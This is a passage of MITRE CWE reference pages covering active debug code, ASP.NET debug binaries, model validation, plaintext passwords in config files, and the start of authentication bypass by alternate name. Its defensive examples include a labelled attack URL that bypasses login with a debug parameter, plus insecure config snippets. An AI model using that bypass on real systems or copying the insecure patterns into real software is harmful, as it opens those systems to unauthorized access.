updated Demonstrative_Examples, Description
2010-02-16 CWE Content Team MITRE
updated Demonstrative_Examples
2008-10-14 CWE Content Team MITRE
updated Description
2008-09-08 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
2008-07-01 Sean Eidemiller Cigital
added/updated demonstrative examples
Back to top

CWE-489: Active Debug Code

Weakness ID: 489
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product is released with debugging code still enabled or active. Diagram for CWE-489
+ Alternate Terms
Leftover debug code
This term originates from Seven Pernicious Kingdoms
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Bypass Protection Mechanism; Read Application Data; Gain Privileges or Assume Identity; Varies by Context

Scope: Confidentiality, Integrity, Availability, Access Control, Other

Active debug code can create unintended entry points or expose sensitive information. The severity of the exposed debug code will depend on the particular instance. At the least, it will give an attacker sensitive information about the settings and mechanics of web applications on the server. At worst, as is often the case, the debug code will allow an attacker complete control over the web application and server, as well as confidential information that either of these access.
+ Potential Mitigations
Phase(s) Mitigation

Build and Compilation; Distribution
Remove debug code before deploying the application.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 710 Improper Adherence to Coding Standards
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 11 ASP.NET Misconfiguration: Creating Debug Binary
CanPrecede Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 215 Insertion of Sensitive Information Into Debugging Code
+ Relevant to the view "Software Development" (View-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1006 Bad Coding Practices
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Implementation In web-based applications, debug code is used to test and modify web application properties, configuration information, and functions. If a debug application is left on a production server, this oversight during the "software process" allows attackers access to debug functionality.
Implementation A common development practice is to add "back door" code specifically designed for debugging or testing purposes that is not intended to be shipped or deployed with the product. These back door entry points create security risks because they are not considered during design or testing and fall outside of the expected operating conditions of the product.
Build and Compilation
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

Class: ICS/OT (Undetermined Prevalence)

+ Demonstrative Examples

Example 1


Debug code can be used to bypass authentication. For example, suppose an application has a login script that receives a username and a password. Assume also that a third, optional, parameter, called "debug", is interpreted by the script as requesting a switch to debug mode, and that when this parameter is given the username and password are not checked. In such a case, it is very simple to bypass the authentication process if the special behavior of the application regarding the debug parameter is known. In a case where the form is:

(bad code)
Example Language: HTML 
<FORM ACTION="/authenticate_login.cgi">
<INPUT TYPE=TEXT name=username>
<INPUT TYPE=PASSWORD name=password>
<INPUT TYPE=SUBMIT>
</FORM>

Then a conforming link will look like:

(informative)
 
http://TARGET/authenticate_login.cgi?username=...&password=...

An attacker can change this to:

(attack code)
 
http://TARGET/authenticate_login.cgi?username=&password=&debug=1

Which will grant the attacker access to the site, bypassing the authentication process.



+ Weakness Ordinalities
Ordinality Description
Indirect
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods
Method Details

Automated Static Analysis
Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 485 7PK - Encapsulation
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 731 OWASP Top Ten 2004 Category A10 - Insecure Configuration Management
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1002 SFP Secondary Cluster: Unexpected Entry Points
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1371 ICS Supply Chain: Poorly Documented or Undocumented Features
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1412 Comprehensive Categorization: Poor Coding Practices
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1437 OWASP Top Ten 2025 Category A02:2025 - Security Misconfiguration
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Other

In J2EE a main method may be a good indicator that debug code has been left in the application, although there may not be any direct security impact.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
7 Pernicious Kingdoms Leftover Debug Code
OWASP Top Ten 2004 A10 CWE More Specific Insecure Configuration Management
Software Fault Patterns SFP28 Unexpected access points
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07.
<https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		7 Pernicious Kingdoms
+ Modifications
Modification Date Modifier Organization
2025-12-11
(CWE 4.19, 2025-12-11) 		CWE Content Team MITRE
updated Relationships
2025-09-09
(CWE 4.18, 2025-09-09) 		CWE Content Team MITRE
updated Common_Consequences, Description, Diagram, Modes_of_Introduction
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Detection_Factors, Relationships
2023-01-31 CWE Content Team MITRE
updated Applicable_Platforms, Description, Relationships
2021-07-20 CWE Content Team MITRE
updated Alternate_Terms
2021-03-15 CWE Content Team MITRE
updated Related_Attack_Patterns
2020-02-24 CWE Content Team MITRE
updated Description, Name, References, Relationships
2019-06-20 CWE Content Team MITRE
updated Related_Attack_Patterns
2019-01-03 CWE Content Team MITRE
updated Weakness_Ordinalities
2017-11-08 CWE Content Team MITRE
updated Applicable_Platforms, Relationships, White_Box_Definitions
2014-07-30 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2014-06-23 CWE Content Team MITRE
updated Description, Modes_of_Introduction, Other_Notes, Time_of_Introduction
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2012-05-11 CWE Content Team MITRE
updated Relationships
2011-06-27 CWE Content Team MITRE
updated Common_Consequences
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2009-10-29 CWE Content Team MITRE
updated Common_Consequences
2009-07-27 CWE Content Team MITRE
updated Demonstrative_Examples
2008-09-08 CWE Content Team MITRE
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2008-08-01 KDM Analytics
added/updated white box definitions
2008-07-01 Eric Dalci Cigital
updated Potential_Mitigations, Time_of_Introduction
+ Previous Entry Names
Change Date Previous Entry Name
2020-02-24 Leftover Debug Code
Back to top

CWE-11: ASP.NET Misconfiguration: Creating Debug Binary

Weakness ID: 11
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
Debugging messages help attackers learn about the system and plan a form of attack.
+ Extended Description
ASP .NET applications can be configured to produce debug binaries. These binaries give detailed debugging messages and should not be used in production environments. Debug binaries are meant to be used in a development or testing environment and can pose a security risk if they are deployed to production.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Read Application Data

Scope: Confidentiality

Attackers can leverage the additional information they gain from debugging output to mount attacks targeted on the framework, database, or other resources used by the application.
+ Potential Mitigations
Phase(s) Mitigation

System Configuration
Avoid releasing debug binaries into the production environment. Change the debug mode to false when the application is deployed into production.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 489 Active Debug Code
+ Background Details
The debug attribute of the <compilation> tag defines whether compiled binaries should include debugging information. The use of debug binaries causes an application to provide as much information about itself as possible to the user.
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Implementation
Build and Compilation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

ASP.NET (Undetermined Prevalence)

+ Demonstrative Examples

Example 1


The file web.config contains the debug mode setting. Setting debug to "true" will let the browser display debugging information.

(bad code)
Example Language: XML 
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
<system.web>
<compilation
defaultLanguage="c#"
debug="true"
/>
...
</system.web>
</configuration>

Change the debug mode to false when the application is deployed into production.



+ Weakness Ordinalities
Ordinality Description
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods
Method Details

Automated Static Analysis
Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 2 7PK - Environment
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 731 OWASP Top Ten 2004 Category A10 - Insecure Configuration Management
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 963 SFP Secondary Cluster: Exposed Data
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1349 OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1412 Comprehensive Categorization: Poor Coding Practices
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1437 OWASP Top Ten 2025 Category A02:2025 - Security Misconfiguration
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
7 Pernicious Kingdoms ASP.NET Misconfiguration: Creating Debug Binary
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07.
<https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
[REF-1513] CodeQL. "Creating an ASP.NET debug binary may reveal sensitive information".
<https://codeql.github.com/codeql-query-help/csharp/cs-web-debug-binary/>. (URL validated: 2025-12-07)
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		7 Pernicious Kingdoms
+ Modifications
Modification Date Modifier Organization
2025-12-11
(CWE 4.19, 2025-12-11) 		CWE Content Team MITRE
updated References, Relationships, Weakness_Ordinalities
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Detection_Factors, Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated References, Relationships, Time_of_Introduction
2017-11-08 CWE Content Team MITRE
updated Relationships
2014-07-30 CWE Content Team MITRE
updated Relationships
2013-02-21 CWE Content Team MITRE
updated Potential_Mitigations
2012-05-11 CWE Content Team MITRE
updated Relationships
2011-06-27 CWE Content Team MITRE
updated Common_Consequences
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2009-07-27 CWE Content Team MITRE
updated Background_Details, Common_Consequences, Demonstrative_Examples, Description, Other_Notes
2008-11-24 CWE Content Team MITRE
updated Description, Other_Notes
2008-09-08 CWE Content Team MITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-07-01 Eric Dalci Cigital
updated Demonstrative_Example, Potential_Mitigations, Time_of_Introduction
Back to top

CWE-1174: ASP.NET Misconfiguration: Improper Model Validation

Weakness ID: 1174
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The ASP.NET application does not use, or incorrectly uses, the model validation framework.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Unexpected State

Scope: Integrity

Unchecked input leads to cross-site scripting, process control, and SQL injection vulnerabilities, among others.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1173 Improper Use of Validation Framework
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

ASP.NET (Undetermined Prevalence)

+ Weakness Ordinalities
Ordinality Description
Indirect
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1349 OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1406 Comprehensive Categorization: Improper Input Validation
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1437 OWASP Top Ten 2025 Category A02:2025 - Security Misconfiguration
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Content History
+ Submissions
Submission Date Submitter Organization
2018-12-21
(CWE 3.2, 2019-01-03) 		CWE Content Team MITRE
+ Modifications
Modification Date Modifier Organization
2025-12-11
(CWE 4.19, 2025-12-11) 		CWE Content Team MITRE
updated Relationships
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated Relationships
Back to top

CWE-13: ASP.NET Misconfiguration: Password in Configuration File

Weakness ID: 13
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
Storing a plaintext password in a configuration file allows anyone who can read the file access to the password-protected resource making them an easy target for attackers.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Gain Privileges or Assume Identity

Scope: Access Control

+ Potential Mitigations
Phase(s) Mitigation

Implementation
Credentials stored in configuration files should be encrypted, Use standard APIs and industry accepted algorithms to encrypt the credentials stored in configuration files.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 260 Password in Configuration File
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

ASP.NET (Undetermined Prevalence)

+ Demonstrative Examples

Example 1


The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database, but the pair is stored in plaintext.

(bad code)
Example Language: ASP.NET 
...
<connectionStrings>
<add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;" providerName="System.Data.Odbc" />
</connectionStrings>
...

Username and password information should not be included in a configuration file or a properties file in plaintext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information.



+ Weakness Ordinalities
Ordinality Description
Primary
(where the weakness exists independent of other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 2 7PK - Environment
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 731 OWASP Top Ten 2004 Category A10 - Insecure Configuration Management
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 963 SFP Secondary Cluster: Exposed Data
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1349 OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1396 Comprehensive Categorization: Access Control
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1437 OWASP Top Ten 2025 Category A02:2025 - Security Misconfiguration
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
7 Pernicious Kingdoms ASP.NET Misconfiguration: Password in Configuration File
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07.
<https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
[REF-103] Microsoft Corporation. "How To: Encrypt Configuration Sections in ASP.NET 2.0 Using DPAPI".
<https://learn.microsoft.com/en-us/previous-versions/msp-n-p/ff647398(v=pandp.10)?redirectedfrom=MSDN>. (URL validated: 2023-04-07)
[REF-104] Microsoft Corporation. "How To: Encrypt Configuration Sections in ASP.NET 2.0 Using RSA".
<https://learn.microsoft.com/en-us/previous-versions/msp-n-p/ff650304(v=pandp.10)?redirectedfrom=MSDN>. (URL validated: 2023-04-07)
[REF-105] Microsoft Corporation. ".NET Framework Developer's Guide - Securing Connection Strings".
<http://msdn.microsoft.com/en-us/library/89211k9b(VS.80).aspx>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		7 Pernicious Kingdoms
+ Modifications
Modification Date Modifier Organization
2025-12-11
(CWE 4.19, 2025-12-11) 		CWE Content Team MITRE
updated Applicable_Platforms, Relationships, Weakness_Ordinalities
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated References, Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2021-03-15 CWE Content Team MITRE
updated Demonstrative_Examples
2020-02-24 CWE Content Team MITRE
updated References, Relationships
2018-03-27 CWE Content Team MITRE
updated Demonstrative_Examples
2017-11-08 CWE Content Team MITRE
updated Relationships
2014-07-30 CWE Content Team MITRE
updated Demonstrative_Examples, Relationships
2013-02-21 CWE Content Team MITRE
updated Potential_Mitigations
2012-10-30 CWE Content Team MITRE
updated Demonstrative_Examples
2012-05-11 CWE Content Team MITRE
updated Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2009-07-27 CWE Content Team MITRE
updated Demonstrative_Examples
2008-09-08 CWE Content Team MITRE
updated Relationships, References, Taxonomy_Mappings
2008-07-01 Eric Dalci Cigital
updated References, Demonstrative_Example, Potential_Mitigations, Time_of_Introduction
Back to top

CWE-289: Authentication Bypass by Alternate Name

Weakness ID: 289
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product performs authentication based on the name of a resource being accessed, or the name of the actor performing the access, but it does not properly check all possible names for that resource or actor.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Bypass Protection Mechanism

Scope: Access Control

+ Potential Mitigations
Phase(s) Mitigation

Architecture and Design

Strategy: Input Validation

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Relationships
